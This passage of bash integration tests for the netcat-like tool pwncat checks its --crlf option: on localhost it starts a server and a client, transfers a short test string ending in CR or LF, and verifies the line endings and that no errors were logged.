-------------------------------------------------------------------------------- 58 | # START: SERVER 59 | # -------------------------------------------------------------------------------- 60 | print_h2 "(1/4) Start: Server" 61 | 62 | # Start Server 63 | print_info "Start Server" 64 | # shellcheck disable=SC2086 65 | if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 66 | printf "" 67 | fi 68 | 69 | # Wait until Server is up 70 | run "sleep ${STARTUP_WAIT}" 71 | 72 | # [SERVER] Ensure Server is running 73 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 74 | 75 | # [SERVER] Ensure Server has no errors 76 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 77 | 78 | 79 | # -------------------------------------------------------------------------------- 80 | # START: CLIENT 81 | # -------------------------------------------------------------------------------- 82 | print_h2 "(2/4) Start: Client" 83 | 84 | # Start Client 85 | print_info "Start Client" 86 | # shellcheck disable=SC2086 87 | if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 88 | printf "" 89 | fi 90 | 91 | # Wait until Client is up 92 | run "sleep ${STARTUP_WAIT}" 93 | 94 | # [CLIENT] Ensure Client is running 95 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 96 | 97 | # [CLIENT] Ensure Client has no errors 98 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 99 | 100 | # [SERVER] Ensure Server is still is running 101 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 102 | 103 | # [SERVER] Ensure Server still has no errors 104 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 105 | 106 | 107 | # -------------------------------------------------------------------------------- 108 | # DATA TRANSFER 109 | # -------------------------------------------------------------------------------- 110 | print_h2 "(3/4) Transfer: Client -> Server" 111 | 112 | # [CLIENT -> SERVER] 113 | wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 114 | 115 | 116 | # -------------------------------------------------------------------------------- 117 | # TEST: Errors 118 | # -------------------------------------------------------------------------------- 119 | print_h2 "(4/4) Test: Errors" 120 | 121 | # [SERVER] Ensure Server has has no errors 122 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 123 | 124 | # [CLIENT] Ensure Client has no errors 125 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 126 | 127 | kill_pid "${cli_pid}" 128 | kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true 129 | } 130 | 131 | 132 | # ------------------------------------------------------------------------------------------------- 133 | # MAIN ENTRYPOINT 134 | # ------------------------------------------------------------------------------------------------- 135 | 136 | for curr_round in $(seq "${RUNS}"); do 137 | echo 138 | # server opts client opts 139 | run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" 140 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" 141 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" 142 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" 143 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" 144 | 145 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" 146 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" 147 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" 148 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" 149 | 150 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" 151 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" 152 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" 153 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" 154 | done 155 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/701---tcp---server_crlf_no---client_sends_cr.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local cli_opts="${2// / }" 36 | local curr_mutation="${3}" 37 | local total_mutation="${4}" 38 | local curr_round="${5}" 39 | local total_round="${6}" 40 | local data= 41 | 42 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" 43 | run "sleep 1" 44 | 45 | ### 46 | ### Create data and files 47 | ### 48 | data="$(tmp_file)" 49 | printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" 50 | expect="abcdefghijklmnopqrstuvwxyz1234567890" 51 | srv_stdout="$(tmp_file)" 52 | srv_stderr="$(tmp_file)" 53 | cli_stdout="$(tmp_file)" 54 | cli_stderr="$(tmp_file)" 55 | 56 | 57 | # -------------------------------------------------------------------------------- 58 | # START: SERVER 59 | # -------------------------------------------------------------------------------- 60 | print_h2 "(1/4) Start: Server" 61 | 62 | # Start Server 63 | print_info "Start Server" 64 | # shellcheck disable=SC2086 65 | if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 66 | printf "" 67 | fi 68 | 69 | # Wait until Server is up 70 | run "sleep ${STARTUP_WAIT}" 71 | 72 | # [SERVER] Ensure Server is running 73 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 74 | 75 | # [SERVER] Ensure Server has no errors 76 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 77 | 78 | 79 | # -------------------------------------------------------------------------------- 80 | # START: CLIENT 81 | # -------------------------------------------------------------------------------- 82 | print_h2 "(2/4) Start: Client" 83 | 84 | # Start Client 85 | print_info "Start Client" 86 | # shellcheck disable=SC2086 87 | if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 88 | printf "" 89 | fi 90 | 91 | # Wait until Client is up 92 | run "sleep ${STARTUP_WAIT}" 93 | 94 | # [CLIENT] Ensure Client is running 95 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 96 | 97 | # [CLIENT] Ensure Client has no errors 98 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 99 | 100 | # [SERVER] Ensure Server is still is running 101 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 102 | 103 | # [SERVER] Ensure Server still has no errors 104 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 105 | 106 | 107 | # -------------------------------------------------------------------------------- 108 | # DATA TRANSFER 109 | # -------------------------------------------------------------------------------- 110 | print_h2 "(3/4) Transfer: Client -> Server" 111 | 112 | # [CLIENT -> SERVER] 113 | wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 114 | 115 | 116 | # -------------------------------------------------------------------------------- 117 | # TEST: Errors 118 | # -------------------------------------------------------------------------------- 119 | print_h2 "(4/4) Test: Errors" 120 | 121 | # [SERVER] Ensure Server has has no errors 122 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 123 | 124 | # [CLIENT] Ensure Client has no errors 125 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 126 | 127 | kill_pid "${cli_pid}" 128 | kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true 129 | } 130 | 131 | 132 | # ------------------------------------------------------------------------------------------------- 133 | # MAIN ENTRYPOINT 134 | # ------------------------------------------------------------------------------------------------- 135 | 136 | for curr_round in $(seq "${RUNS}"); do 137 | echo 138 | # server opts client opts 139 | run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" 140 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" 141 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" 142 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" 143 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" 144 | 145 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" 146 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" 147 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" 148 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" 149 | 150 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" 151 | #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" 152 | #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" 153 | #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" 154 | done 155 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/200---tcp---client_crlf_lf---server_sends_lf.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local cli_opts="${2// / }" 36 | local curr_mutation="${3}" 37 | local total_mutation="${4}" 38 | local curr_round="${5}" 39 | local total_round="${6}" 40 | local data= 41 | 42 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" 43 | run "sleep 1" 44 | 45 | ### 46 | ### Create data and files 47 | ### 48 | data="$(tmp_file)" 49 | printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" 50 | expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" 51 | srv_stdout="$(tmp_file)" 52 | srv_stderr="$(tmp_file)" 53 | cli_stdout="$(tmp_file)" 54 | cli_stderr="$(tmp_file)" 55 | 56 | 57 | # -------------------------------------------------------------------------------- 58 | # START: SERVER 59 | # -------------------------------------------------------------------------------- 60 | print_h2 "(1/4) Start: Server" 61 | 62 | # Start Server 63 | print_info "Start Server" 64 | # shellcheck disable=SC2086 65 | if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 66 | printf "" 67 | fi 68 | 69 | # Wait until Server is up 70 | run "sleep ${STARTUP_WAIT}" 71 | 72 | # [SERVER] Ensure Server is running 73 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 74 | 75 | # [SERVER] Ensure Server has no errors 76 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 77 | 78 | 79 | # -------------------------------------------------------------------------------- 80 | # START: CLIENT 81 | # -------------------------------------------------------------------------------- 82 | print_h2 "(2/4) Start: Client" 83 | 84 | # Start Client 85 | print_info "Start Client" 86 | # shellcheck disable=SC2086 87 | if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 88 | printf "" 89 | fi 90 | 91 | # Wait until Client is up 92 | run "sleep ${STARTUP_WAIT}" 93 | 94 | # [CLIENT] Ensure Client is running 95 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 96 | 97 | # [CLIENT] Ensure Client has no errors 98 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 99 | 100 | # [SERVER] Ensure Server is still is running 101 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 102 | 103 | # [SERVER] Ensure Server still has no errors 104 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 105 | 106 | 107 | # -------------------------------------------------------------------------------- 108 | # DATA TRANSFER 109 | # -------------------------------------------------------------------------------- 110 | print_h2 "(3/4) Transfer: Server -> Client" 111 | 112 | # [SERVER -> Client] 113 | wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 114 | 115 | 116 | # -------------------------------------------------------------------------------- 117 | # TEST: Errors 118 | # -------------------------------------------------------------------------------- 119 | print_h2 "(4/4) Test: Errors" 120 | 121 | # [SERVER] Ensure Server has has no errors 122 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 123 | 124 | # [CLIENT] Ensure Client has no errors 125 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 126 | 127 | kill_pid "${cli_pid}" 128 | kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true 129 | } 130 | 131 | 132 | # ------------------------------------------------------------------------------------------------- 133 | # MAIN ENTRYPOINT 134 | # ------------------------------------------------------------------------------------------------- 135 | 136 | for curr_round in $(seq "${RUNS}"); do 137 | echo 138 | # server opts client opts 139 | run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" 140 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" 141 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" 142 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" 143 | #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" 144 | 145 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" 146 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" 147 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" 148 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" 149 | 150 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" 151 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" 152 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" 153 | #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" 154 | done 155 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/201---tcp---client_crlf_lf---server_sends_cr.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local cli_opts="${2// / }" 36 | local curr_mutation="${3}" 37 | local total_mutation="${4}" 38 | local curr_round="${5}" 39 | local total_round="${6}" 40 | local data= 41 | 42 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" 43 | run "sleep 1" 44 | 45 | ### 46 | ### Create data and files 47 | ### 48 | data="$(tmp_file)" 49 | printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" 50 | expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" 51 | srv_stdout="$(tmp_file)" 52 | srv_stderr="$(tmp_file)" 53 | cli_stdout="$(tmp_file)" 54 | cli_stderr="$(tmp_file)" 55 | 56 | 57 | # -------------------------------------------------------------------------------- 58 | # START: SERVER 59 | # -------------------------------------------------------------------------------- 60 | print_h2 "(1/4) Start: Server" 61 | 62 | # Start Server 63 | print_info "Start Server" 64 | # shellcheck disable=SC2086 65 | if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 66 | printf "" 67 | fi 68 | 69 | # Wait until Server is up 70 | run "sleep ${STARTUP_WAIT}" 71 | 72 | # [SERVER] Ensure Server is running 73 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 74 | 75 | # [SERVER] Ensure Server has no errors 76 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 77 | 78 | 79 | # -------------------------------------------------------------------------------- 80 | # START: CLIENT 81 | # -------------------------------------------------------------------------------- 82 | print_h2 "(2/4) Start: Client" 83 | 84 | # Start Client 85 | print_info "Start Client" 86 | # shellcheck disable=SC2086 87 | if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 88 | printf "" 89 | fi 90 | 91 | # Wait until Client is up 92 | run "sleep ${STARTUP_WAIT}" 93 | 94 | # [CLIENT] Ensure Client is running 95 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 96 | 97 | # [CLIENT] Ensure Client has no errors 98 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 99 | 100 | # [SERVER] Ensure Server is still is running 101 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 102 | 103 | # [SERVER] Ensure Server still has no errors 104 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 105 | 106 | 107 | # -------------------------------------------------------------------------------- 108 | # DATA TRANSFER 109 | # -------------------------------------------------------------------------------- 110 | print_h2 "(3/4) Transfer: Server -> Client" 111 | 112 | # [SERVER -> Client] 113 | wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 114 | 115 | 116 | # -------------------------------------------------------------------------------- 117 | # TEST: Errors 118 | # -------------------------------------------------------------------------------- 119 | print_h2 "(4/4) Test: Errors" 120 | 121 | # [SERVER] Ensure Server has has no errors 122 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 123 | 124 | # [CLIENT] Ensure Client has no errors 125 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 126 | 127 | kill_pid "${cli_pid}" 128 | kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true 129 | } 130 | 131 | 132 | # ------------------------------------------------------------------------------------------------- 133 | # MAIN ENTRYPOINT 134 | # ------------------------------------------------------------------------------------------------- 135 | 136 | for curr_round in $(seq "${RUNS}"); do 137 | echo 138 | # server opts client opts 139 | run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" 140 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" 141 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" 142 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" 143 | #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" 144 | 145 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" 146 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" 147 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" 148 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" 149 | 150 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" 151 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" 152 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" 153 | #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" 154 | done 155 | -------------------------------------------------------------------------------- /tests/integration/21-options---crlf/300---tcp---server_crlf_lf---client_sends_lf.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 